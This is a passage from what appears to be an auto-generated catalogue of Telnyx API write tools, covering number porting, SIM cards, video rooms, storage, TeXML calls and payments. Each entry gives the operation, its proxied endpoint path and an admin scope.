configuration with your company details and branding for use when generating LOA documents for porting orders. [Porting Orders] via POST /porting/loa_configurations POST /api/v1/telnyx/porting/loa_configurations. Scopes: admin. telnyx_post_porting_orders (write) — Creates a new porting order to bring phone numbers from another carrier to Telnyx. Complete the order's requirements and then confirm it to submit the port. [Porting Orders] via POST /porting_orders POST /api/v1/telnyx/porting_orders. Scopes: admin. telnyx_post_porting_orders_by_id_actions_activate (write) — Activate each number in a porting order asynchronously. This operation is limited to US FastPort orders only. [Porting Orders] via POST /porting_orders/{id}/actions/activate POST /api/v1/telnyx/porting_orders/{id}/actions/activate. Scopes: admin. telnyx_post_porting_orders_by_id_actions_cancel (write) — Requests cancellation of the porting order and returns the updated order. [Porting Orders] via POST /porting_orders/{id}/actions/cancel POST /api/v1/telnyx/porting_orders/{id}/actions/cancel. Scopes: admin. telnyx_post_porting_orders_by_id_actions_confirm (write) — Confirms the porting order and submits it for processing. Make sure all required information and documents are attached before confirming. [Porting Orders] via POST /porting_orders/{id}/actions/confirm POST /api/v1/telnyx/porting_orders/{id}/actions/confirm. Scopes: admin. telnyx_post_porting_orders_by_id_actions_share (write) — Creates a sharing token for a porting order. The token can be used to share the porting order with non-Telnyx users. [Porting Orders] via POST /porting_orders/{id}/actions/share POST /api/v1/telnyx/porting_orders/{id}/actions/share. Scopes: admin. telnyx_post_porting_orders_by_id_additional_documents (write) — Creates a list of additional documents for a porting order. [Porting Orders] via POST /porting_orders/{id}/additional_documents POST /api/v1/telnyx/porting_orders/{id}/additional_documents. Scopes: admin. telnyx_post_porting_orders_by_id_comments (write) — Creates a new comment for a porting order. [Porting Orders] via POST /porting_orders/{id}/comments POST /api/v1/telnyx/porting_orders/{id}/comments. Scopes: admin. telnyx_post_porting_orders_by_id_verification_codes_send (write) — Send the verification code for all porting phone numbers. [Porting Orders] via POST /porting_orders/{id}/verification_codes/send POST /api/v1/telnyx/porting_orders/{id}/verification_codes/send. Scopes: admin. telnyx_post_porting_orders_by_id_verification_codes_verify (write) — Verifies the verification code for a list of phone numbers. [Porting Orders] via POST /porting_orders/{id}/verification_codes/verify POST /api/v1/telnyx/porting_orders/{id}/verification_codes/verify. Scopes: admin. telnyx_post_porting_orders_by_porting_order_id_action_requirements_by_id_initiate (write) — Initiates a specific action requirement for a porting order. [Porting Orders] via POST /porting_orders/{porting_order_id}/action_requirements/{id}/initiate POST /api/v1/telnyx/porting_orders/{porting_order_id}/action_requirements/{id}/initiate. Scopes: admin. telnyx_post_porting_orders_by_porting_order_id_associated_phone_numbers (write) — Creates a new associated phone number for a porting order. This is used for partial porting in GB to specify which phone numbers should be kept or disconnected. [Porting Orders] via POST /porting_orders/{porting_order_id}/associated_phone_numbers POST /api/v1/telnyx/porting_orders/{porting_order_id}/associated_phone_numbers. Scopes: admin. telnyx_post_porting_orders_by_porting_order_id_phone_number_blocks (write) — Creates a phone number block on the porting order, representing a contiguous range of phone numbers to be ported together. [Porting Orders] via POST /porting_orders/{porting_order_id}/phone_number_blocks POST /api/v1/telnyx/porting_orders/{porting_order_id}/phone_number_blocks. Scopes: admin. telnyx_post_porting_orders_by_porting_order_id_phone_number_extensions (write) — Creates a phone number extension on the porting order, mapping extension ranges to one of the order's phone numbers. [Porting Orders] via POST /porting_orders/{porting_order_id}/phone_number_extensions POST /api/v1/telnyx/porting_orders/{porting_order_id}/phone_number_extensions. Scopes: admin. telnyx_post_porting_orders_phone_number_configurations (write) — Creates a list of phone number configurations. [Porting Orders] via POST /porting_orders/phone_number_configurations POST /api/v1/telnyx/porting_orders/phone_number_configurations. Scopes: admin. telnyx_post_porting_reports (write) — Generate reports about porting operations. [Porting Orders] via POST /porting/reports POST /api/v1/telnyx/porting/reports. Scopes: admin. telnyx_post_portouts_by_id_comments (write) — Creates a comment on the specified port-out request and returns the created comment. [Number Portout] via POST /portouts/{id}/comments POST /api/v1/telnyx/portouts/{id}/comments. Scopes: admin. telnyx_post_portouts_by_id_supporting_documents (write) — Creates a list of supporting documents on a portout request. [Number Portout] via POST /portouts/{id}/supporting_documents POST /api/v1/telnyx/portouts/{id}/supporting_documents. Scopes: admin. telnyx_post_portouts_events_by_id_republish (write) — Republishes the specified port-out event, triggering re-delivery of the corresponding webhook to your account. [Number Portout] via POST /portouts/events/{id}/republish POST /api/v1/telnyx/portouts/events/{id}/republish. Scopes: admin. telnyx_post_portouts_reports (write) — Generate reports about port-out operations. [Number Portout] via POST /portouts/reports POST /api/v1/telnyx/portouts/reports. Scopes: admin. telnyx_post_private_wireless_gateways (write) — Asynchronously create a Private Wireless Gateway for SIM cards for a previously created network. This operation may take several minutes so you can check the Private Wireless Gateway status at the section Get a Private Wireless Gateway. [Private Wireless Gateways] via POST /private_wireless_gateways POST /api/v1/telnyx/private_wireless_gateways. Scopes: admin. telnyx_post_pronunciation_dicts (write) — Create a new pronunciation dictionary for the authenticated organization. Each dictionary contains a list of items that control how specific words are spoken. Items can be alias type (text replacement) or phoneme type (IPA pronunciation notation). As an alternative to providing items directly as JSON, you can upload a dictionary file (PLS/XML or plain text format, max 1MB) using multipart/form-data. PLS files use the standard W3C Pronunciation Lexicon Specification XML format. Text files use a line-based format: word=alias for aliases, word:/phoneme/ for IPA phonemes. Limits: - Maximum 50 dictionaries per organization - Maximum 100 items per dictionary - Text: max 200 characters - Alias/phoneme value: max 500 characters - File upload: max 1MB (1,048,576 bytes) [Pronunciation Dictionaries] via POST /pronunciation_dicts POST /api/v1/telnyx/pronunciation_dicts. Scopes: admin. telnyx_post_public_internet_gateways (write) — Requests creation of a public internet gateway on the specified network, giving the network internet egress. Creation is asynchronous, so the request is accepted and completes in the background. [Public Internet Gateways] via POST /public_internet_gateways POST /api/v1/telnyx/public_internet_gateways. Scopes: admin. telnyx_post_queues (write) — Creates a new call queue with the provided configuration and returns the created queue. [Queue Commands] via POST /queues POST /api/v1/telnyx/queues. Scopes: admin. telnyx_post_queues_by_queue_name (write) — Update properties of an existing call queue. [Queue Commands] via POST /queues/{queue_name} POST /api/v1/telnyx/queues/{queue_name}. Scopes: admin. telnyx_post_rcs_agents (write) — Creates an editable RCS agent draft under a brand. The Idempotency-Key is scoped to the authenticated organization. Reusing the key with the same request returns the original agent, while reusing it with a different request returns a conflict. [RCS Agents] via POST /rcs/agents POST /api/v1/telnyx/rcs/agents. Scopes: admin. telnyx_post_rcs_agents_by_id_launch (write) — Adds the campaign and testing configuration, then starts asynchronous carrier launch. Agent basics must already be submitted. Repeating a launch that is already in progress returns the current agent without creating new work. [RCS Agents] via POST /rcs/agents/{id}/launch POST /api/v1/telnyx/rcs/agents/{id}/launch. Scopes: admin. telnyx_post_rcs_agents_by_id_submit (write) — Starts asynchronous provider provisioning and submits the agent's basic configuration. The brand must be VERIFIED. Repeating this request for an in-progress agent returns its current state without creating new work. [RCS Agents] via POST /rcs/agents/{id}/submit POST /api/v1/telnyx/rcs/agents/{id}/submit. Scopes: admin. telnyx_post_rcs_agents_by_id_test_devices (write) — Adds an RCS-capable test number after provider agent creation. Repeating the request for a number already attached to the agent returns the existing test device. [RCS Agents] via POST /rcs/agents/{id}/test_devices POST /api/v1/telnyx/rcs/agents/{id}/test_devices. Scopes: admin. telnyx_post_rcs_brands (write) — Creates an editable RCS brand draft. Creating the draft does not begin external review. [RCS Brands] via POST /rcs/brands POST /api/v1/telnyx/rcs/brands. Scopes: admin. telnyx_post_rcs_brands_by_id_submit (write) — Starts asynchronous provider provisioning and external review for a brand. Repeating this request for an in-progress brand returns its current state without creating new work. [RCS Brands] via POST /rcs/brands/{id}/submit POST /api/v1/telnyx/rcs/brands/{id}/submit. Scopes: admin. telnyx_post_recordings_actions_delete (write) — Permanently deletes a list of call recordings. [Call Recordings] via POST /recordings/actions/delete POST /api/v1/telnyx/recordings/actions/delete. Scopes: admin. telnyx_post_requirement_groups (write) — Creates a regulatory requirement group for a country, number type, and ordering or porting action. Optional customer-reference and requirement values are retained on the created group. [Requirement Groups] via POST /requirement_groups POST /api/v1/telnyx/requirement_groups. Scopes: admin. telnyx_post_requirement_groups_by_id_submit_for_approval (write) — Submits the specified regulatory requirement group for approval. The response contains the requirement group with its resulting approval status. [Requirement Groups] via POST /requirement_groups/{id}/submit_for_approval POST /api/v1/telnyx/requirement_groups/{id}/submit_for_approval. Scopes: admin. telnyx_post_requirements_by_id_versions (write) — Create a new pending version of a requirement with a future effective start date. Only one pending version may exist per requirement at a time. [Requirements] via POST /requirements/{id}/versions POST /api/v1/telnyx/requirements/{id}/versions. Scopes: admin. telnyx_post_room_compositions (write) — Asynchronously create a room composition. [Room Compositions] via POST /room_compositions POST /api/v1/telnyx/room_compositions. Scopes: admin. telnyx_post_room_sessions_by_room_session_id_actions_end (write) — Note: this will also kick all participants currently present in the room [Room Sessions] via POST /room_sessions/{room_session_id}/actions/end POST /api/v1/telnyx/room_sessions/{room_session_id}/actions/end. Scopes: admin. telnyx_post_room_sessions_by_room_session_id_actions_kick (write) — Removes the selected participants from the specified room session. Apply the action to a list of participant IDs or to all, with optional participant IDs excluded from the action. [Room Sessions] via POST /room_sessions/{room_session_id}/actions/kick POST /api/v1/telnyx/room_sessions/{room_session_id}/actions/kick. Scopes: admin. telnyx_post_room_sessions_by_room_session_id_actions_mute (write) — Mutes the selected participants in the specified room session. Apply the action to a list of participant IDs or to all, with optional participant IDs excluded from the action. [Room Sessions] via POST /room_sessions/{room_session_id}/actions/mute POST /api/v1/telnyx/room_sessions/{room_session_id}/actions/mute. Scopes: admin. telnyx_post_room_sessions_by_room_session_id_actions_unmute (write) — Unmutes the selected participants in the specified room session. Apply the action to a list of participant IDs or to all, with optional participant IDs excluded from the action. [Room Sessions] via POST /room_sessions/{room_session_id}/actions/unmute POST /api/v1/telnyx/room_sessions/{room_session_id}/actions/unmute. Scopes: admin. telnyx_post_rooms (write) — Synchronously creates a new video room with the provided configuration and returns the created room. [Rooms] via POST /rooms POST /api/v1/telnyx/rooms. Scopes: admin. telnyx_post_rooms_by_room_id_actions_generate_join_client_token (write) — Synchronously create an Client Token to join a Room. Client Token is necessary to join a Telnyx Room. Client Token will expire after token_ttl_secs, a Refresh Token is also provided to refresh a Client Token, the Refresh Token expires after refresh_token_ttl_secs. [Rooms Client Tokens] via POST /rooms/{room_id}/actions/generate_join_client_token POST /api/v1/telnyx/rooms/{room_id}/actions/generate_join_client_token. Scopes: admin. telnyx_post_rooms_by_room_id_actions_refresh_client_token (write) — Synchronously refresh an Client Token to join a Room. Client Token is necessary to join a Telnyx Room. Client Token will expire after token_ttl_secs. [Rooms Client Tokens] via POST /rooms/{room_id}/actions/refresh_client_token POST /api/v1/telnyx/rooms/{room_id}/actions/refresh_client_token. Scopes: admin. telnyx_post_sim_card_data_usage_notifications (write) — Creates a new SIM card data usage notification. [SIM Cards] via POST /sim_card_data_usage_notifications POST /api/v1/telnyx/sim_card_data_usage_notifications. Scopes: admin. telnyx_post_sim_card_groups (write) — Creates a new SIM card group and returns it. Groups let you apply shared settings to a set of SIM cards. [SIM Card Groups] via POST /sim_card_groups POST /api/v1/telnyx/sim_card_groups. Scopes: admin. telnyx_post_sim_card_groups_by_id_actions_remove_private_wireless_gateway (write) — This action will asynchronously remove an existing Private Wireless Gateway definition from a SIM card group. Completing this operation defines that all SIM cards in the SIM card group will get their traffic handled by Telnyx's default mobile network configuration. [SIM Card Groups] via POST /sim_card_groups/{id}/actions/remove_private_wireless_gateway POST /api/v1/telnyx/sim_card_groups/{id}/actions/remove_private_wireless_gateway. Scopes: admin. telnyx_post_sim_card_groups_by_id_actions_remove_wireless_blocklist (write) — This action will asynchronously remove an existing Wireless Blocklist to all the SIMs in the SIM card group. [SIM Card Groups] via POST /sim_card_groups/{id}/actions/remove_wireless_blocklist POST /api/v1/telnyx/sim_card_groups/{id}/actions/remove_wireless_blocklist. Scopes: admin. telnyx_post_sim_card_groups_by_id_actions_set_private_wireless_gateway (write) — This action will asynchronously assign a provisioned Private Wireless Gateway to the SIM card group. Completing this operation defines that all SIM cards in the SIM card group will get their traffic controlled by the associated Private Wireless Gateway. This operation will also imply that new SIM cards assigned to a group will inherit its network definitions. If it's moved to a different group that doesn't have a Private Wireless Gateway, it'll use Telnyx's default mobile network configuration. [SIM Card Groups] via POST /sim_card_groups/{id}/actions/set_private_wireless_gateway POST /api/v1/telnyx/sim_card_groups/{id}/actions/set_private_wireless_gateway. Scopes: admin. telnyx_post_sim_card_groups_by_id_actions_set_wireless_blocklist (write) — This action will asynchronously assign a Wireless Blocklist to all the SIMs in the SIM card group. [SIM Card Groups] via POST /sim_card_groups/{id}/actions/set_wireless_blocklist POST /api/v1/telnyx/sim_card_groups/{id}/actions/set_wireless_blocklist. Scopes: admin. telnyx_post_sim_card_order_preview (write) — Previews a SIM card order purchase, returning estimated costs and details before you place the order. The preview is processed asynchronously. [SIM Card Orders] via POST /sim_card_order_preview POST /api/v1/telnyx/sim_card_order_preview. Scopes: admin. telnyx_post_sim_card_orders (write) — Creates a new order for physical SIM cards, including quantity and shipping details, and returns the created order. [SIM Card Orders] via POST /sim_card_orders POST /api/v1/telnyx/sim_card_orders. Scopes: admin. telnyx_post_sim_cards_actions_bulk_disable_voice (write) — This API triggers an asynchronous operation to disable voice on SIM cards belonging to a specified SIM Card Group. For each SIM Card a SIM Card Action will be generated. The status of the SIM Card Actions can be followed through the List SIM Card Action API. The overall status of the Bulk SIM Card Action can be followed through the List Bulk SIM Card Action API. [SIM Cards] via POST /sim_cards/actions/bulk_disable_voice POST /api/v1/telnyx/sim_cards/actions/bulk_disable_voice. Scopes: admin. telnyx_post_sim_cards_actions_bulk_enable_voice (write) — This API triggers an asynchronous operation to enable voice on SIM cards belonging to a specified SIM Card Group. For each SIM Card a SIM Card Action will be generated. The status of the SIM Card Actions can be followed through the List SIM Card Action API. The overall status of the Bulk SIM Card Action can be followed through the List Bulk SIM Card Action API. [SIM Cards] via POST /sim_cards/actions/bulk_enable_voice POST /api/v1/telnyx/sim_cards/actions/bulk_enable_voice. Scopes: admin. telnyx_post_sim_cards_actions_bulk_set_public_ips (write) — This API triggers an asynchronous operation to set a public IP for each of the specified SIM cards. For each SIM Card a SIM Card Action will be generated. The status of the SIM Card Action can be followed through the List SIM Card Action API. [SIM Cards] via POST /sim_cards/actions/bulk_set_public_ips POST /api/v1/telnyx/sim_cards/actions/bulk_set_public_ips. Scopes: admin. telnyx_post_sim_cards_actions_validate_registration_codes (write) — It validates whether SIM card registration codes are valid or not. [SIM Cards] via POST /sim_cards/actions/validate_registration_codes POST /api/v1/telnyx/sim_cards/actions/validate_registration_codes. Scopes: admin. telnyx_post_sim_cards_by_id_actions_disable (write) — This API disables a SIM card, disconnecting it from the network and making it impossible to consume data. The API will trigger an asynchronous operation called a SIM Card Action. Transitioning to the disabled state may take a period of time. The status of the SIM Card Action can be followed through the List SIM Card Action API. [SIM Cards] via POST /sim_cards/{id}/actions/disable POST /api/v1/telnyx/sim_cards/{id}/actions/disable. Scopes: admin. telnyx_post_sim_cards_by_id_actions_disable_voice (write) — This API disables voice calling on a SIM card. The SIM card will no longer be able to make or receive calls. The API will trigger an asynchronous operation called a SIM Card Action. The status of the SIM Card Action can be followed through the List SIM Card Action API. [SIM Cards] via POST /sim_cards/{id}/actions/disable_voice POST /api/v1/telnyx/sim_cards/{id}/actions/disable_voice. Scopes: admin. telnyx_post_sim_cards_by_id_actions_enable (write) — This API enables a SIM card, connecting it to the network and making it possible to consume data. To enable a SIM card, it must be associated with a SIM card group. The API will trigger an asynchronous operation called a SIM Card Action. Transitioning to the enabled state may take a period of time. The status of the SIM Card Action can be followed through the List SIM Card Action API. [SIM Cards] via POST /sim_cards/{id}/actions/enable POST /api/v1/telnyx/sim_cards/{id}/actions/enable. Scopes: admin. telnyx_post_sim_cards_by_id_actions_enable_voice (write) — This API enables voice calling on a SIM card. When a connection_id is provided, the SIM is associated with the specified Mobile Voice Connection. The connection must be owned by the same user and of type mobile_voice . The API will trigger an asynchronous operation called a SIM Card Action. The status of the SIM Card Action can be followed through the List SIM Card Action API. [SIM Cards] via POST /sim_cards/{id}/actions/enable_voice POST /api/v1/telnyx/sim_cards/{id}/actions/enable_voice. Scopes: admin. telnyx_post_sim_cards_by_id_actions_remove_public_ip (write) — This API removes an existing public IP from a SIM card. The API will trigger an asynchronous operation called a SIM Card Action. The status of the SIM Card Action can be followed through the List SIM Card Action API. [SIM Cards] via POST /sim_cards/{id}/actions/remove_public_ip POST /api/v1/telnyx/sim_cards/{id}/actions/remove_public_ip. Scopes: admin. telnyx_post_sim_cards_by_id_actions_set_public_ip (write) — This API makes a SIM card reachable on the public internet by mapping a random public IP to the SIM card. The API will trigger an asynchronous operation called a SIM Card Action. The status of the SIM Card Action can be followed through the List SIM Card Action API. Setting a Public IP to a SIM Card incurs a charge and will only succeed if the account has sufficient funds. [SIM Cards] via POST /sim_cards/{id}/actions/set_public_ip POST /api/v1/telnyx/sim_cards/{id}/actions/set_public_ip. Scopes: admin. telnyx_post_sim_cards_by_id_actions_set_standby (write) — The SIM card will be able to connect to the network once the process to set it to standby has been completed, thus making it possible to consume data. To set a SIM card to standby, it must be associated with SIM card group. The API will trigger an asynchronous operation called a SIM Card Action. Transitioning to the standby state may take a period of time. The status of the SIM Card Action can be followed through the List SIM Card Action API. [SIM Cards] via POST /sim_cards/{id}/actions/set_standby POST /api/v1/telnyx/sim_cards/{id}/actions/set_standby. Scopes: admin. telnyx_post_siprec_connectors (write) — Creates a new SIPREC connector configuration. [SIPREC Connectors] via POST /siprec_connectors POST /api/v1/telnyx/siprec_connectors. Scopes: admin. telnyx_post_storage_buckets_by_bucketname_by_objectname_presigned_url (write) — Returns a timed and authenticated URL to download (GET) or upload (PUT) an object. This is the equivalent to AWS S3’s “presigned” URL. Please note that Telnyx performs authentication differently from AWS S3 and you MUST NOT use the presign method of AWS s3api CLI or SDK to generate the presigned URL. Refer to: https://developers.telnyx.com/docs/cloud-storage/presigned-urls [Presigned Object URLs] via POST /storage/buckets/{bucketName}/{objectName}/presigned_url POST /api/v1/telnyx/storage/buckets/{bucketName}/{objectName}/presigned_url. Scopes: admin. telnyx_post_storage_cloudfs (write) — Creates a CloudFS filesystem. Provisioning is synchronous — typically a few seconds, up to a few minutes — and the filesystem is returned with status ready, together with its S3 bucket and metadata connection details. This response is the only time the filesystem's meta_token — and the credential-bearing meta_url — are returned; store them securely. If the token is lost, issue a new one with the rotate-meta-token action. Names are unique within your organization: creating with an existing name returns a 422. Requests are idempotent: retrying with the same Idempotency-Key within 24 hours replays the original response instead of creating another filesystem. [cloudfs filesystems] via POST /storage/cloudfs POST /api/v1/telnyx/storage/cloudfs. Scopes: admin. telnyx_post_storage_cloudfs_by_id_actions_rotate_meta_token (write) — Issues a new metadata access token for the filesystem and returns the full filesystem, including the new meta_token and credential-bearing meta_url. The previous token stops authenticating immediately; the metadata database and S3 bucket are unchanged. The request takes no body. Allowed while the filesystem is ready or needs_format; otherwise returns a 409. Retrying with the same Idempotency-Key within 24 hours replays the original response — including the same token — instead of rotating again. [cloudfs filesystems] via POST /storage/cloudfs/{id}/actions/rotate-meta-token POST /api/v1/telnyx/storage/cloudfs/{id}/actions/rotate-meta-token. Scopes: admin. telnyx_post_storage_kvs (write) — Creates a new KV namespace. Provisioning is asynchronous: the namespace is returned with status pending and becomes usable once it reaches provision_ok. [kv namespaces] via POST /storage/kvs POST /api/v1/telnyx/storage/kvs. Scopes: admin. telnyx_post_storage_migration_sources (write) — Create a source from which data can be migrated from. [Data Migration] via POST /storage/migration_sources POST /api/v1/telnyx/storage/migration_sources. Scopes: admin. telnyx_post_storage_migrations (write) — Initiate a migration of data from an external provider into Telnyx Cloud Storage. Currently, only S3 is supported. [Data Migration] via POST /storage/migrations POST /api/v1/telnyx/storage/migrations. Scopes: admin. telnyx_post_storage_migrations_by_id_actions_stop (write) — Stops the specified in-progress storage migration and returns the updated migration. [Data Migration] via POST /storage/migrations/{id}/actions/stop POST /api/v1/telnyx/storage/migrations/{id}/actions/stop. Scopes: admin. telnyx_post_storage_sqldbs (write) — Creates a new SQL database. Provisioning is asynchronous: the database is returned with status pending and becomes usable once it reaches provision_ok. [sql databases] via POST /storage/sqldbs POST /api/v1/telnyx/storage/sqldbs. Scopes: admin. telnyx_post_storage_sqldbs_by_id_actions_query (write) — Runs SQL against the database and returns the resulting rows — empty for statements that return none, such as DDL. Bind positional ? placeholders with params rather than interpolating values into the SQL string. [sql databases] via POST /storage/sqldbs/{id}/actions/query POST /api/v1/telnyx/storage/sqldbs/{id}/actions/query. Scopes: admin. telnyx_post_sub_number_orders_by_id_requirement_group (write) — Associates an existing requirement group with the specified sub number order. The response contains the updated sub number order requirement-group relationship. [Requirement Groups] via POST /sub_number_orders/{id}/requirement_group POST /api/v1/telnyx/sub_number_orders/{id}/requirement_group. Scopes: admin. telnyx_post_sub_number_orders_report (write) — Create a CSV report for sub number orders. The report will be generated asynchronously and can be downloaded once complete. [Phone Number Orders] via POST /sub_number_orders_report POST /api/v1/telnyx/sub_number_orders_report. Scopes: admin. telnyx_post_telephony_credentials (write) — Creates a new on-demand telephony credential for the specified connection. The credential can then be used to generate access tokens for SIP or WebRTC clients. [Credentials] via POST /telephony_credentials POST /api/v1/telnyx/telephony_credentials. Scopes: admin. telnyx_post_telephony_credentials_by_id_token (write) — Create an Access Token (JWT) for the credential. [Access Tokens] via POST /telephony_credentials/{id}/token POST /api/v1/telnyx/telephony_credentials/{id}/token. Scopes: admin. telnyx_post_terms_of_service_branded_calling_agree (write) — Records the authenticated user's agreement to the current Branded Calling ToS. No body required. Idempotent - re-calling after agreement is a no-op and returns the existing agreement. This is a prerequisite for activating Branded Calling on any enterprise (POST /enterprises/{id}/branded_calling); without an agreement, activation returns 403. [Terms of Service] via POST /terms_of_service/branded_calling/agree POST /api/v1/telnyx/terms_of_service/branded_calling/agree. Scopes: admin. telnyx_post_terms_of_service_number_reputation_agree (write) — Records the authenticated user's agreement to the current Phone Number Reputation ToS. No body required. Idempotent. Prerequisite for using any of the /v2/.../reputation/* endpoints. [Terms of Service] via POST /terms_of_service/number_reputation/agree POST /api/v1/telnyx/terms_of_service/number_reputation/agree. Scopes: admin. telnyx_post_texml_accounts_by_account_sid_calls (write) — Initiate an outbound TeXML call. Telnyx will request TeXML from the XML Request URL configured for the connection in the Mission Control Portal. [TeXML REST Commands] via POST /texml/Accounts/{account_sid}/Calls POST /api/v1/telnyx/texml/Accounts/{account_sid}/Calls. Scopes: admin. telnyx_post_texml_accounts_by_account_sid_calls_by_call_sid (write) — Update TeXML call. Please note that the keys present in the payload MUST BE formatted in CamelCase as specified in the example. [TeXML REST Commands] via POST /texml/Accounts/{account_sid}/Calls/{call_sid} POST /api/v1/telnyx/texml/Accounts/{account_sid}/Calls/{call_sid}. Scopes: admin. telnyx_post_texml_accounts_by_account_sid_calls_by_call_sid_recordings_by_recording_sid_json (write) — Updates recording resource for particular call. [TeXML REST Commands] via POST /texml/Accounts/{account_sid}/Calls/{call_sid}/Recordings/{recording_sid}.json POST /api/v1/telnyx/texml/Accounts/{account_sid}/Calls/{call_sid}/Recordings/{recording_sid}.json. Scopes: admin. telnyx_post_texml_accounts_by_account_sid_calls_by_call_sid_recordings_json (write) — Starts recording with specified parameters for call idientified by call_sid. [TeXML REST Commands] via POST /texml/Accounts/{account_sid}/Calls/{call_sid}/Recordings.json POST /api/v1/telnyx/texml/Accounts/{account_sid}/Calls/{call_sid}/Recordings.json. Scopes: admin. telnyx_post_texml_accounts_by_account_sid_calls_by_call_sid_siprec_by_siprec_sid_json (write) — Updates siprec session identified by siprec_sid. [TeXML REST Commands] via POST /texml/Accounts/{account_sid}/Calls/{call_sid}/Siprec/{siprec_sid}.json POST /api/v1/telnyx/texml/Accounts/{account_sid}/Calls/{call_sid}/Siprec/{siprec_sid}.json. Scopes: admin. telnyx_post_texml_accounts_by_account_sid_calls_by_call_sid_siprec_json (write) — Starts siprec session with specified parameters for call idientified by call_sid. [TeXML REST Commands] via POST /texml/Accounts/{account_sid}/Calls/{call_sid}/Siprec.json POST /api/v1/telnyx/texml/Accounts/{account_sid}/Calls/{call_sid}/Siprec.json. Scopes: admin. telnyx_post_texml_accounts_by_account_sid_calls_by_call_sid_streams_by_streaming_sid_json (write) — Updates streaming resource for particular call. [TeXML REST Commands] via POST /texml/Accounts/{account_sid}/Calls/{call_sid}/Streams/{streaming_sid}.json POST /api/v1/telnyx/texml/Accounts/{account_sid}/Calls/{call_sid}/Streams/{streaming_sid}.json. Scopes: admin. telnyx_post_texml_accounts_by_account_sid_calls_by_call_sid_streams_json (write) — Starts streaming media from a call to a specific WebSocket address. [TeXML REST Commands] via POST /texml/Accounts/{account_sid}/Calls/{call_sid}/Streams.json POST /api/v1/telnyx/texml/Accounts/{account_sid}/Calls/{call_sid}/Streams.json. Scopes: admin. telnyx_post_texml_accounts_by_account_sid_conferences_by_conference_sid (write) — Updates the specified conference resource, for example to modify its status, and returns the updated conference. [TeXML REST Commands] via POST /texml/Accounts/{account_sid}/Conferences/{conference_sid} POST /api/v1/telnyx/texml/Accounts/{account_sid}/Conferences/{conference_sid}. Scopes: admin. telnyx_post_texml_accounts_by_account_sid_conferences_by_conference_sid_participants (write) — Dials a new participant into the specified conference and returns the created participant resource. [TeXML REST Commands] via POST /texml/Accounts/{account_sid}/Conferences/{conference_sid}/Participants POST /api/v1/telnyx/texml/Accounts/{account_sid}/Conferences/{conference_sid}/Participants. Scopes: admin. telnyx_post_texml_accounts_by_account_sid_conferences_by_conference_sid_participants_by_call_sid_or_participant_label (write) — Updates the specified conference participant, for example muting or holding them, and returns the updated participant. [TeXML REST Commands] via POST /texml/Accounts/{account_sid}/Conferences/{conference_sid}/Participants/{call_sid_or_participant_label} POST /api/v1/telnyx/texml/Accounts/{account_sid}/Conferences/{conference_sid}/Participants/{call_sid_or_participant_label}. Scopes: admin. telnyx_post_texml_accounts_by_account_sid_queues (write) — Creates a new queue resource for the account with the provided settings and returns it. [TeXML REST Commands] via POST /texml/Accounts/{account_sid}/Queues POST /api/v1/telnyx/texml/Accounts/{account_sid}/Queues. Scopes: admin. telnyx_post_texml_accounts_by_account_sid_queues_by_queue_sid (write) — Updates the specified queue resource's settings and returns the updated queue. [TeXML REST Commands] via POST /texml/Accounts/{account_sid}/Queues/{queue_sid} POST /api/v1/telnyx/texml/Accounts/{account_sid}/Queues/{queue_sid}. Scopes: admin. telnyx_post_texml_ai_calls_by_connection_id (write) — Initiate an outbound AI call with warm-up support. Validates parameters, builds an internal TeXML with an AI Assistant configuration, encodes instructions into client state, and calls the dial API. The Twiml, Texml, and Url parameters are not allowed and will result in a 422 error. Expected callback events: Status callbacks: initiated, ringing, answered, one terminal status (completed, no-answer, busy, canceled, or failed), then analyzed after post-call processing completes. Conversation callbacks: conversation_created and conversation_ended. Recording, AMD, transcription, and deepfake detection callbacks are only sent when those features are enabled. [TeXML REST Commands] via POST /texml/ai_calls/{connection_id} POST /api/v1/telnyx/texml/ai_calls/{telnyx_connection_id}. Scopes: admin. telnyx_post_texml_applications (write) — Creates a TeXML application, which defines the voice URLs and settings used to serve TeXML instructions for calls, and returns the created application. [TeXML Applications] via POST /texml_applications POST /api/v1/telnyx/texml_applications. Scopes: admin. telnyx_post_texml_secrets (write) — Create a TeXML secret which can be later used as a Dynamic Parameter for TeXML when using Mustache Templates in your TeXML. In your TeXML you will be able to use your secret name, and this name will be replaced by the actual secret value when processing the TeXML on Telnyx side. The secrets are not visible in any logs. [TeXML REST Commands] via POST /texml/secrets POST /api/v1/telnyx/texml/secrets. Scopes: admin. telnyx_post_text_to_speech_speech (write) — Generate synthesized speech audio from text input. Returns audio in the requested format (binary audio stream, base64-encoded JSON, or an audio URL for later retrieval). Authentication is provided via the standard Authorization: Bearer header. The voice parameter provides a convenient shorthand to specify provider, model, and voice in a single string (e.g. telnyx.NaturalHD.Alloy or Telnyx.Ultra. ). Alternatively, specify provider explicitly along with provider-specific parameters. Supported providers: aws, telnyx, azure, elevenlabs, minimax, rime, resemble, xai, humain. The Telnyx Ultra model supports 44 languages with emotion control, speed adjustment, and volume control. Use the telnyx provider-specific parameters to configure these features. [Text To Speech Commands] via POST /text-to-speech/speech POST /api/v1/telnyx/text-to-speech/speech. Scopes: admin. telnyx_post_traffic_policy_profiles (write) — Create a new traffic policy profile. At least one of services, ip_ranges, or domains must be provided. [Traffic Policy Profiles] via POST /traffic_policy_profiles POST /api/v1/telnyx/traffic_policy_profiles. Scopes: admin. telnyx_post_uac_connections (write) — Creates a UAC connection. A UAC (User Agent Client) Connection registers Telnyx to your PBX — the opposite of a standard SIP trunk, where the PBX registers to Telnyx. Use UAC when your PBX doesn’t support outbound SIP registration or you need Telnyx to maintain the registration. [UAC Connections] via POST /uac_connections POST /api/v1/telnyx/uac_connections. Scopes: admin. telnyx_post_uac_connections_by_id_actions_check_registration_status (write) — Checks the registration status for a UAC connection (registration_status) as well as the timestamp for the last SIP registration event (registration_status_updated_at). [UAC Connections] via POST /uac_connections/{id}/actions/check_registration_status POST /api/v1/telnyx/uac_connections/{id}/actions/check_registration_status. Scopes: admin. telnyx_post_user_addresses (write) — Creates a new user address from the provided details and returns the created address. [UserAddresses] via POST /user_addresses POST /api/v1/telnyx/user_addresses. Scopes: admin. telnyx_post_v2_mobile_voice_connections (write) — Creates a new mobile voice connection with the provided configuration and returns the created connection. [Mobile Voice Connections] via POST /mobile_voice_connections POST /api/v1/telnyx/mobile_voice_connections. Scopes: admin. telnyx_post_v2_payment_stored_payment_transactions (write) — Create a transaction that charges a stored payment method on the account. [Stored Payment Transactions] via POST /payment/stored_payment_transactions POST /api/v1/telnyx/payment/stored_payment_transactions. Scopes: admin. telnyx_post_v2_x402_credit_account (write) — Settles an x402 payment using the quote ID and a signed payment 